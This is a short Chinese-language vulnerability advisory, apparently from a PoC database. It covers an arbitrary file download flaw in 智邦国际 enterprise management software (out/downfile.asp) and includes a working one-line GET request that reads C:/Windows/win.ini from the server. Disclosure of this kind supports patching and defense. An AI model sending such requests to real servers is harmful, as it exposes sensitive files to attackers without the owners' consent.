智邦国际-企业管理软件任意文件下载漏洞

2021-10-11 智邦国际 企业管理软件 PoC Public

Description

智邦国际-企业管理软件 out/downfile.asp 存在任意文件下载漏洞，攻击者可构造特殊请求获取服务器敏感文件。

PoC

GET /out/downfile.asp?fileSpec=C:/Windows/win.ini HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2021-2919.html

Related Vulnerabilities